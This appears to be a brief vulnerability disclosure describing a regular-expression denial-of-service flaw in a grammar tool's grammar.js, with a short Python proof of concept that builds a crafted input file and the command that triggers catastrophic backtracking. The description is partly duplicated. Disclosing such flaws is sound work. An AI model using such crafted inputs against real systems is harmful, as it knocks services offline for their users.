The affected code is located in grammar.js-line191. It uses the vulnerable regular expression '(\\.|[^'\\])*'. When the match fails, it will cause catastrophic backtracking.
I generate PoC using the python script below
f = open("test.LR0", "w")
f.write("\u0000\\\u0000\\'" * 40000)
f.flush()
then run ./syntax --grammar test.LR0
The affected code is located in grammar.js-line191. It uses the vulnerable regular expression
'(\\.|[^'\\])*'. When the match fails, it will cause catastrophic backtracking.I generate PoC using the python script below
then run
./syntax --grammar test.LR0